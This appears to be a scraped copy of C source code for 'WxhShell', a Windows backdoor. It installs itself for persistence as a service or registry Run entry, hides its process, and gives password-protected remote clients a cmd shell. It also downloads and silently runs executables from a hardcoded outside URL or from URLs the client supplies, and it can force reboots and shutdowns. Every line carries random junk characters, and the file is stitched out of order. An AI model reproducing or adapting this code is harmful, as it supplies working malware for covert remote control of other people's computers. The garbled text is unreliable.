    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !ABLd|tP  
    else { PHQcstW  
    closesocket(wsh); dcP88!#5-  
    ExitThread(0); w= B  
    } cf&C|U  
    break; <G}m#  
    } 7YD\ !2b  
  // 获取shell C=s((q*  
  case 's': { i8eA_Q  
    CmdShell(wsh); !|(Ao"]  
    closesocket(wsh); UL ck  
    ExitThread(0); oE5;|x3  
    break; }Fz!6F2w  
  } CQ jV!d0j  
  // 退出 30BR 0C  
  case 'x': { <L%HG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lXw;|dGF  
    CloseIt(wsh); /t5g"n3  
    break; i _8zjj7  
    } 13\Sh  
  // 离开 a YR\<02  
  case 'q': { 9M nem*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CP@o,v-  
    closesocket(wsh); b sMC#xT  
    WSACleanup(); |&(H^<+Xp  
    exit(1); o KlF5I  
    break; Qw}xGlF,  
        } VrudR#q  
  } E4hq}  
  } XWc|[>iO  
69-$Wn43<  
  // 提示信息 y^, "gD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '&/(oJ ;O~  
} 4fD`M(wv  
  } Px$'(eMj^3  
*:(1K%g  
  return; M$#+W?m&  
} 01-p `H+  
Q.<giBh  
// shell模块句柄 D8a)(wm  
int CmdShell(SOCKET sock) 5#P: "U  
{ 2-p8rGI_F  
STARTUPINFO si; .5Q5\qc=  
ZeroMemory(&si,sizeof(si)); #qPV Qt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +$'e4EwqV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >[ @{$\?x:  
PROCESS_INFORMATION ProcessInfo; E8+8{ #f;  
char cmdline[]="cmd"; {~":;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RLv&,$$0  
  return 0; VN?<[#ij  
} rffVfw  
`Nkx7Z~w:  
// 自身启动模式 B6-AIPb  
int StartFromService(void) R,uJK)m  
{ Wnb)*pPP  
typedef struct < JGYr 4V  
{ twAw01".  
  DWORD ExitStatus; kg zwlKK  
  DWORD PebBaseAddress; bn5"dxV  
  DWORD AffinityMask; 9tW3!O^_  
  DWORD BasePriority; (69kvA&|q  
  ULONG UniqueProcessId; O2/%mFS.  
  ULONG InheritedFromUniqueProcessId; <<i=+ed8eP  
}   PROCESS_BASIC_INFORMATION; >qr=l,Hi  
F>p%2II/  
PROCNTQSIP NtQueryInformationProcess; hU |LFjc  
}o~Tw?z-|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ty)gPh6O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; no eb f  
0m qS A  
  HANDLE             hProcess; rHH#@ Zx  
  PROCESS_BASIC_INFORMATION pbi; rD_Ss.\^g  
7$;c6_se  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z?5,cI[6#  
  if(NULL == hInst ) return 0; u!sSgx =  
9t,aT!f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rjfc.l#v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?U7&R%Lh`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n\~"Wim<b  
I #Arr#%  
  if (!NtQueryInformationProcess) return 0; s9^"wN YQ  
xKRfl1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IO?~b XP  
  if(!hProcess) return 0; ,"4X&>_f  
bfcD5:q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +# m   
F[Qsv54  
  CloseHandle(hProcess); C6Um6 X9/i  
ZS07_6.~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g`y/ _  
if(hProcess==NULL) return 0; b#bO=T$e-  
89 _&X[X  
HMODULE hMod; #MmmwPB_  
char procName[255]; J$o[$G_Z  
unsigned long cbNeeded; 1',+&2)oj  
qdg= Imx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bvt-leA=  
r>n8`W  
  CloseHandle(hProcess); K*hf(w9="%  
XyN`BDFi  
if(strstr(procName,"services")) return 1; // 以服务启动 yTMGISX5  
?)i6:76(  
  return 0; // 注册表启动 gME:\ud$  
} s2,`eV  
Py(wT%w  
// 主模块 sIP6GWK$  
int StartWxhshell(LPSTR lpCmdLine) LWp?U!N  
{ LGdf_M-f  
  SOCKET wsl; 0~LnnD N  
BOOL val=TRUE;  uhPIV\  
  int port=0; l%vhV&  
  struct sockaddr_in door; >B|ofwm*  
ulJ+:zwq$  
  if(wscfg.ws_autoins) Install(); / r`Y'rm  
ZVCv(J  
port=atoi(lpCmdLine); #CBo  
#RsIxpc  
if(port<=0) port=wscfg.ws_port; sZ\i(eIU  
@5uyUSt]  
  WSADATA data; 7]0\[9DyJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :{e`$kz  
.>cL/KaP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   * S+7BdP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *{L<BB^  
  door.sin_family = AF_INET; ]7Xs=>"Iw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DY%T`}  
  door.sin_port = htons(port); pw(*X,gj  
`0-m`>1>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tg}H < T  
closesocket(wsl); '8iv?D5M  
return 1; aG8;,H=%,  
} cfF-e93T  
o F,R@f  
  if(listen(wsl,2) == INVALID_SOCKET) { l%3Q=c  
closesocket(wsl); G!fE'B  
return 1; s`dkEaS  
} w^vK7Z 1$  
  Wxhshell(wsl); 0o\=0bH&s  
  WSACleanup(); J0{WqA.P  
xfZ9&g  
return 0; J^e|"0d  
S a#d?:L  
}  Q}`2Y^.  
)@};lmPR  
// 以NT服务方式启动 9=sMKc%!-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lqwJ F &  
{ b]s%B.h  
DWORD   status = 0; e=NQY8?  
  DWORD   specificError = 0xfffffff; %QlBFl0a  
1[,#@!k@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R _~m\P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YQw/[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LP-KD  
  serviceStatus.dwWin32ExitCode     = 0; (*@~HF,t=  
  serviceStatus.dwServiceSpecificExitCode = 0; HEW9YC"  
  serviceStatus.dwCheckPoint       = 0; 1Rb<(%   
  serviceStatus.dwWaitHint       = 0; N NXwT0t  
pu m9x)y1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }G0.Lq+a  
  if (hServiceStatusHandle==0) return; Q{)F$]w  
CuGOjQ-k~  
status = GetLastError(); 5>^ W}0s  
  if (status!=NO_ERROR) jmwQc&  
{ .>\>F{#~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0V>N#P]  
    serviceStatus.dwCheckPoint       = 0; &bRxy`ZH  
    serviceStatus.dwWaitHint       = 0; % /wP2O<  
    serviceStatus.dwWin32ExitCode     = status; 0zk T8'v  
    serviceStatus.dwServiceSpecificExitCode = specificError; f%{ ag  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WG!;,~f>o  
    return; Tef3 Z6  
  } ^?l-YnQqm?  
"=0 lcb C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .$T:n[@  
  serviceStatus.dwCheckPoint       = 0; Yk*57&QI  
  serviceStatus.dwWaitHint       = 0; /A`zy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); QK/+*hr;  
} #+5mpDh  
)}g4Rvr  
// 处理NT服务事件,比如:启动、停止 `cTsS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A0 w `o  
{ Hi 0df3t  
switch(fdwControl) 3qwYicq,  
{ @R Yb-d  
case SERVICE_CONTROL_STOP: q?'gwH37  
  serviceStatus.dwWin32ExitCode = 0; 6 GevO3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s9Q)6=mE  
  serviceStatus.dwCheckPoint   = 0; 3[g++B."pC  
  serviceStatus.dwWaitHint     = 0; 3Tte8]0  
  { #p:jKAc3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l$&_xV-  
  } (YWc%f4  
  return; -X[8soz  
case SERVICE_CONTROL_PAUSE: h[v3G<C~r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wy-quq03"&  
  break; jgfP|oD  
case SERVICE_CONTROL_CONTINUE: 88L bO(q\d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OgpH{"  
  break; zk_hDhg&'  
case SERVICE_CONTROL_INTERROGATE: ~k< 31 ez  
  break; E)Epr&9S  
}; WoT z'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FT?1Q'  
} IgnY* 2FT  
\/dm}' `  
// 标准应用程序主函数 ur quVb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &+|4(d1  
{ b5,}w:  
y5tAp  
// 获取操作系统版本 FZI 4?YD?<  
OsIsNt=GetOsVer(); S5JR`o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ReGb .pf  
/8-VC"  
  // 从命令行安装 B0SmE_u_N  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ej3hdi)  
8t 35j   
  // 下载执行文件 GP k Cgb(  
if(wscfg.ws_downexe) { h[)aRo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 ~|TKd{  
  WinExec(wscfg.ws_filenam,SW_HIDE); .6A:t? .  
} Pj5#G0i%  
a/`Yh>ou  
if(!OsIsNt) { r{3 `zqo  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xv(9 Yh S  
HideProc(); X!+ a;wr  
StartWxhshell(lpCmdLine); ,$(v#Tz  
} T1]X   
else vrldRn'*9  
  if(StartFromService()) uTloj .  
  // 以服务方式启动 ~oR&0et  
  StartServiceCtrlDispatcher(DispatchTable); 10C91/  
else av$_hEjo|D  
  // 普通方式启动 |MR?8A^"  
  StartWxhshell(lpCmdLine);  s !vROJ  
wLp t2b8S  
return 0; Tsp-]-)  
} }EG(!)u  
p5rRhu/|k3  
h*LL(ow5  
N~KRwsDH  
=========================================== zjZTar1Re  
(#"s!!b  
m8A_P:MQq  
aw~EK0yU   
qxr&_r  
`ha:Gf  
" ,5"]K'Vce  
ti2_kYq  
#include <stdio.h> ._nKM5.  
#include <string.h> >o= p5#{  
#include <windows.h> EQhV}9  
#include <winsock2.h> #C7j|9Ew1]  
#include <winsvc.h> CXFAb1m  
#include <urlmon.h> oVsazYJ|?  
,(=]6V  
#pragma comment (lib, "Ws2_32.lib") d iLl>z  
#pragma comment (lib, "urlmon.lib") lH>XIEj  
nEEGO~e  
#define MAX_USER   100 // 最大客户端连接数 RUtS_Z&  
#define BUF_SOCK   200 // sock buffer XFe7qt;%  
#define KEY_BUFF   255 // 输入 buffer pREY AZh  
{4q:4 i  
#define REBOOT     0   // 重启 *c c+Fd  
#define SHUTDOWN   1   // 关机 YYh_lAS>  
@O @yJ{(I  
#define DEF_PORT   5000 // 监听端口 ,#O8:s  
?C2;:ol  
#define REG_LEN     16   // 注册表键长度 WkIV  
#define SVC_LEN     80   // NT服务名长度 sYI':UQe  
<\EfG:e  
// 从dll定义API GLF"`M/g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <%7 V`,*g/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cTTE] ix]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )eMh,r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )fL*Ws6  
rB?cm]G=  
// wxhshell配置信息 K! j*:{  
struct WSCFG { 28yxX431S  
  int ws_port;         // 监听端口 AAY UXY!  
  char ws_passstr[REG_LEN]; // 口令 Z!eq/  
  int ws_autoins;       // 安装标记, 1=yes 0=no w8ld* z  
  char ws_regname[REG_LEN]; // 注册表键名 (32nI?)a  
  char ws_svcname[REG_LEN]; // 服务名 9?c^~77  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5/ju it  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .)zISa*Xy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c3t8yifQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _q4m7C<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v |2j~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R!qrb26k  
(W!$6+GT  
}; [0#hgGO]P  
~=ys~em e  
// default Wxhshell configuration !17Z\Ltqyj  
struct WSCFG wscfg={DEF_PORT, ybO,~TQ  
    "xuhuanlingzhe", .Y.# d7TA  
    1, mK4|=Q  
    "Wxhshell", 74(J7  
    "Wxhshell", 1iDo$]TEK  
            "WxhShell Service", Af<>O$$6  
    "Wrsky Windows CmdShell Service", [ 1GEe  
    "Please Input Your Password: ", @NE#P&f  
  1, b\S}?{m5  
  "http://www.wrsky.com/wxhshell.exe", W2N7  
  "Wxhshell.exe" #B9[U} 8  
    }; TMsoQ82  
 e5]AB  
// 消息定义模块 LS;anNk@.}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sdD[`#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; = h( n+y<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R!G7;m'N1  
char *msg_ws_ext="\n\rExit."; Yk?q7xuT  
char *msg_ws_end="\n\rQuit."; G'f"w5%qZv  
char *msg_ws_boot="\n\rReboot..."; $SR]7GZ  
char *msg_ws_poff="\n\rShutdown..."; AgJ~6tK  
char *msg_ws_down="\n\rSave to "; %T\x~)  
n<*]`do,w  
char *msg_ws_err="\n\rErr!"; %Ege^4PE  
char *msg_ws_ok="\n\rOK!"; J7vpCw2ni  
3fTI&2:  
char ExeFile[MAX_PATH]; $(=1A>40  
int nUser = 0; ]H2aYi$  
HANDLE handles[MAX_USER]; $t}1|q|  
int OsIsNt; ,[ L$  
1}*;  
SERVICE_STATUS       serviceStatus; jRAL(r|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0g-ESf``{n  
c"1d#8J  
// 函数声明 p\ S3A(  
int Install(void); K6 7? d  
int Uninstall(void); "mK (?U!A  
int DownloadFile(char *sURL, SOCKET wsh); |lV9?#!  
int Boot(int flag); W|U1AXU7/  
void HideProc(void); edx'p`%d5  
int GetOsVer(void); n`xh/vGm#  
int Wxhshell(SOCKET wsl); E2D8s=r  
void TalkWithClient(void *cs); qw1J{xoHW  
int CmdShell(SOCKET sock); AAgA]OD,  
int StartFromService(void); >oDP(]YGg  
int StartWxhshell(LPSTR lpCmdLine); xS1|Z|&  
e]?S-J'z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f*Js= hvO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _9r{W65s  
^j}sS!p  
// 数据结构和表定义 {m:R v&T  
SERVICE_TABLE_ENTRY DispatchTable[] = W^Y0>W~  
{ ; bE6Y]"Rz  
{wscfg.ws_svcname, NTServiceMain}, B$EP'5@b  
{NULL, NULL} \'*`te:{  
}; ,c l<74d  
[{$0E=&0  
// 自我安装 +9CUnRv  
int Install(void) *'-^R9dN.S  
{ +to9].O7y  
  char svExeFile[MAX_PATH]; 8 GN{*Hg  
  HKEY key; F9r*ZyNlx  
  strcpy(svExeFile,ExeFile); vy2aNUmt  
ZQA C &:  
// 如果是win9x系统,修改注册表设为自启动 5&= n  
if(!OsIsNt) { m28w4   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PkZ(WZ9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8f5^@K\c  
  RegCloseKey(key); wkA!Jv%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  _Qc\v0%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l&xD3u^G  
  RegCloseKey(key); }j*/>m  
  return 0; x`i`]6q  
    } S\gP=.G  
  } *wcoDQ b;  
} 4+,Z'J%\[7  
else { T]-~?;Jh8  
;tiU OixJ  
// 如果是NT以上系统,安装为系统服务 ZH_4'm!^g|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :exuTn  
if (schSCManager!=0) ',Pk>f]AB-  
{ x~tQYK   
  SC_HANDLE schService = CreateService % 6.jh#C  
  ( U-<"i6mg ?  
  schSCManager, !5!$h` g  
  wscfg.ws_svcname, rxeXz<  
  wscfg.ws_svcdisp, aZ`ags ofk  
  SERVICE_ALL_ACCESS, ~la04wR28  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #!# X3j  
  SERVICE_AUTO_START, Gi4dgMVei  
  SERVICE_ERROR_NORMAL, Wb4{*~  
  svExeFile, 5>Yd\(`K  
  NULL, gi@ji-10  
  NULL, q.km>XRk~  
  NULL, wJ*-K-  
  NULL, [ {LnE:  
  NULL { BL1j  
  ); de{YgN  
  if (schService!=0) tN> B$sv  
  { z ]N~_9w  
  CloseServiceHandle(schService); bKZ#>%|:o  
  CloseServiceHandle(schSCManager); OUO^/] J1S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G$uOk?R#5c  
  strcat(svExeFile,wscfg.ws_svcname); }px]   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Kg-X]yu*0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); i9U_r._qj;  
  RegCloseKey(key); G<6grd5PP  
  return 0; $50"3g!Y  
    } _5 tqO5'  
  } aZGDtzNG5h  
  CloseServiceHandle(schSCManager); ,GP4I3D  
} 1?#9K j{ql  
} -8 =u{n  
q'@Ei4  
return 1; eE`1;13;  
} $: m87cR~  
y$V)^-U>fw  
// 自我卸载 /Py>HzRE:  
int Uninstall(void) '?3z6%  
{ ptni'W3  
  HKEY key; lA-!~SM v"  
ey\{C`(__y  
if(!OsIsNt) { UZXcKl>u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8'WMspX  
  RegDeleteValue(key,wscfg.ws_regname); f<altz_\q  
  RegCloseKey(key); rtmt 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 15o *r  
  RegDeleteValue(key,wscfg.ws_regname); 7P^{*!  
  RegCloseKey(key); (,c?}TP  
  return 0; l~!fQ$~  
  } C!k9JAa$Z  
} yZ)aKwj%U  
} |abst&yp  
else { U3+ _'"  
<i\zfa'6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Mx K}9  
if (schSCManager!=0) UAXF64w{  
{  `pd   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GKujDx+h  
  if (schService!=0) jl-Aos"/  
  { JBEgiQ/  
  if(DeleteService(schService)!=0) { W%9K5(e  
  CloseServiceHandle(schService); zo7XmUI3P  
  CloseServiceHandle(schSCManager); mQ60@_"Y=,  
  return 0; K#f`_SCW  
  } u$=ogp =0  
  CloseServiceHandle(schService); w*xUuwi  
  } >{qK ]xj  
  CloseServiceHandle(schSCManager); 0 ij~e<  
} ENx@Ex  
} ngY+Ym  
&*]{"^  
return 1; cov#Z ux  
} Ma=6kX]  
}vUlTH  
// 从指定url下载文件 Ie&b <k  
int DownloadFile(char *sURL, SOCKET wsh) bqQO E4;  
{ {.3  
  HRESULT hr; @Gn?8Ur%  
char seps[]= "/"; VXc+Wm*W  
char *token; j*La ,iF  
char *file; k4F"UG-`  
char myURL[MAX_PATH]; $,e?X}4  
char myFILE[MAX_PATH]; )y/DGSd  
f{^M.G@  
strcpy(myURL,sURL); k#Ez  
  token=strtok(myURL,seps); <K#'3&*$s  
  while(token!=NULL) (4 /]dTb  
  { _{c|o{2sj  
    file=token; /#qs(! d  
  token=strtok(NULL,seps); <f.>jjwFE  
  } s\Pt,I@Y_  
!(]dz~sM  
GetCurrentDirectory(MAX_PATH,myFILE); g#'fd/?Q  
strcat(myFILE, "\\"); x*R8^BA]pR  
strcat(myFILE, file); "h;;.Y8e  
  send(wsh,myFILE,strlen(myFILE),0); ( ztim  
send(wsh,"...",3,0); Y=:KM~2hv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o!=l B fI  
  if(hr==S_OK) /y9J)lx  
return 0; i2FD1*=/?  
else q1TW?\pjb:  
return 1; P"bknXL  
m/<F 5R  
} Od!F: <  
eN]>l  
// 系统电源模块 )zW%\s*'  
int Boot(int flag) n-hvh-ZO  
{ [<Os~bfOv  
  HANDLE hToken; oGJ*Rn)Z  
  TOKEN_PRIVILEGES tkp; W%>i$:Qq  
,5\2C{  
  if(OsIsNt) { eg2U+g4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +=6RmId+X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {C/L5cZ]J  
    tkp.PrivilegeCount = 1; wTlK4R#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;J(rw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0;FqX*  
if(flag==REBOOT) { GDHK.?GY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YA"Ti9-EV  
  return 0; %kK ][2e  
} +^4BO`   
else { 5oU`[&=Ob  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $"sq4@N  
  return 0; g= FDm*  
} 5?5- ;H  
  } wc7mJxJxA  
  else { . 0 s[{x  
if(flag==REBOOT) { b46[fa   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hgweNRTh!  
  return 0; .# 6n  
} JO2ZS6k[  
else { 7b&JX'`Mb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #+K Kvk  
  return 0; )D[ "M$ZA^  
} af<NMgT2s~  
} la\zaKC;>  
xS;|j j9  
return 1; OU,PO2xX9  
} 29Gwv  
~!]&>n;=G  
// win9x进程隐藏模块 Ml8 YyF/~  
void HideProc(void) GJ1;\:cQq  
{ d~{jEg  
L$+d.=]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K\{b!Cfr^  
  if ( hKernel != NULL )  <+AIt  
  { N5 SLF4R1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }+9 1s'/c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w4e%-Ln  
    FreeLibrary(hKernel); bA@ /B'  
  } H96BqNoO  
V~(EVF{h  
return; Gn bfy4Z  
} < /;Q8;0  
V$/u  
// 获取操作系统版本 Em e'Gk  
int GetOsVer(void) Sl3KpZ  
{ Gb(C#,xbK  
  OSVERSIONINFO winfo; nG"tO'J6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @+'c+  
  GetVersionEx(&winfo); k}-yOP{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :/C ?FHs9  
  return 1; ;^R A!Nj  
  else 0a"igH}  
  return 0; ]y3pE}R  
} #TMm#?lC  
9=t#5J#O  
// 客户端句柄模块 N\9}\Rk@  
int Wxhshell(SOCKET wsl) 3iE-6udCS  
{ ^FP} qW~;9  
  SOCKET wsh; 9z5\*b s  
  struct sockaddr_in client; v5(q) h  
  DWORD myID; !p }`kG  
H>60D|v[  
  while(nUser<MAX_USER) {S[I_\3  
{ ry.;u*F  
  int nSize=sizeof(client); bTZ>@~$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j?EskT6  
  if(wsh==INVALID_SOCKET) return 1; h ?uqLsRl  
06 QU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5Z/yhF.{  
if(handles[nUser]==0) 5]jx5!N  
  closesocket(wsh); )O,wRd>5  
else 9YR]+*  
  nUser++; P DRnW  
  } T}C2e! _O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7#QLtU  
OnZF6yfN=3  
  return 0; b,nn&B5@{  
} OE_ QInb<  
q`XW5VV{K  
// 关闭 socket 7FAIew\r  
void CloseIt(SOCKET wsh)  l B1#  
{ p6`Pp"J_tr  
closesocket(wsh); z< z*Wz  
nUser--; 0y)}.'  
ExitThread(0); o4$Ott%Wm  
} :6XguU  
/\na;GI$  
// 客户端请求句柄 ~@{w\%(AK]  
void TalkWithClient(void *cs) (=1)y'.  
{ U4Z[!s$  
MWiMUTZg3  
  SOCKET wsh=(SOCKET)cs; _@Y"$V]=Vt  
  char pwd[SVC_LEN]; MR`:5e  
  char cmd[KEY_BUFF]; 1%%'6cWWu  
char chr[1]; WzjL-a(  
int i,j; yQ9ZhdQS  
Mtm/}I  
  while (nUser < MAX_USER) { pe9@N9_5  
d')-7C  
if(wscfg.ws_passstr) { gw"~RV0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ][,4,?T7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BT]ua]T+  
  //ZeroMemory(pwd,KEY_BUFF); 0o;O`/x  
      i=0; 'l~6ErBSg  
  while(i<SVC_LEN) { oh6B3>>+  
:- ?Ct  
  // 设置超时 Z,K7Ot0  
  fd_set FdRead; (:5G#?6,  
  struct timeval TimeOut; -T7%dLHY  
  FD_ZERO(&FdRead); b/t  
  FD_SET(wsh,&FdRead); } ^i b  
  TimeOut.tv_sec=8; p~K9 B-D  
  TimeOut.tv_usec=0; 6R`Oh uN.>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zmf'{tT5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $$hv`HE^l  
Ur^j$B}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VU|;:  
  pwd=chr[0]; Wqra8u#  
  if(chr[0]==0xd || chr[0]==0xa) { oBA`|yW{U  
  pwd=0; D==Mb~  
  break; FXV`9uq}Z  
  } {XgnZ`*  
  i++; 5o#Yt  
    } FW8-'~  
rz%<AF Z  
  // 如果是非法用户,关闭 socket \ p4*$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -?<4Og[^  
} V >Hf9sZ  
;#TaZN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K^zDNIQU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6"U8V ?E  
-I":Z2.fR  
while(1) { C9qJP^F  
3NIUW!gr  
  ZeroMemory(cmd,KEY_BUFF); +R6a}d/K  
n-o3  
      // 自动支持客户端 telnet标准   y:d{jG^  
  j=0; HRB[GP+  
  while(j<KEY_BUFF) { fTq C:r|st  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o%[U  
  cmd[j]=chr[0]; Z)pz,  
  if(chr[0]==0xa || chr[0]==0xd) { Sw8kIC  
  cmd[j]=0; WA$ JI@g  
  break; ^N{ltgQY  
  } u=r`t(Z1H  
  j++; [Il~K  
    } /\Z J   
e8}Ezy"^  
  // 下载文件 MgJ36zM  
  if(strstr(cmd,"http://")) { $Z?\>K0i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #?[.JD51l  
  if(DownloadFile(cmd,wsh)) `TtXZ[gP}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mM/i^zT  
  else |.P/:e9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Fl3#D7K  
  } 'Z&;uv,l  
  else { j>Ag\@2ME  
la <npX  
    switch(cmd[0]) { ceT&Y{T  
  &\C [@_  
  // 帮助 93O;+Z5J  
  case '?': { O7t(,uox3y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vp}^NNYf  
    break; [zkikZy  
